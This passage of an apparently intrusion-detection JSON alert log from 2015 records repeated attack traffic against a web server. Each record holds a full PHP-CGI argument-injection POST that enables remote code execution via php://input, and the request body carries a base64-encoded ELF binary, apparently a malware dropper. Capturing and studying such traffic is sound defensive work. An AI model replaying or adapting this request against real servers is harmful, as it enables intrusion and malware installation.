UXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016980,"rev":5,"signature":"ET WEB_SERVER disable_functions PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeI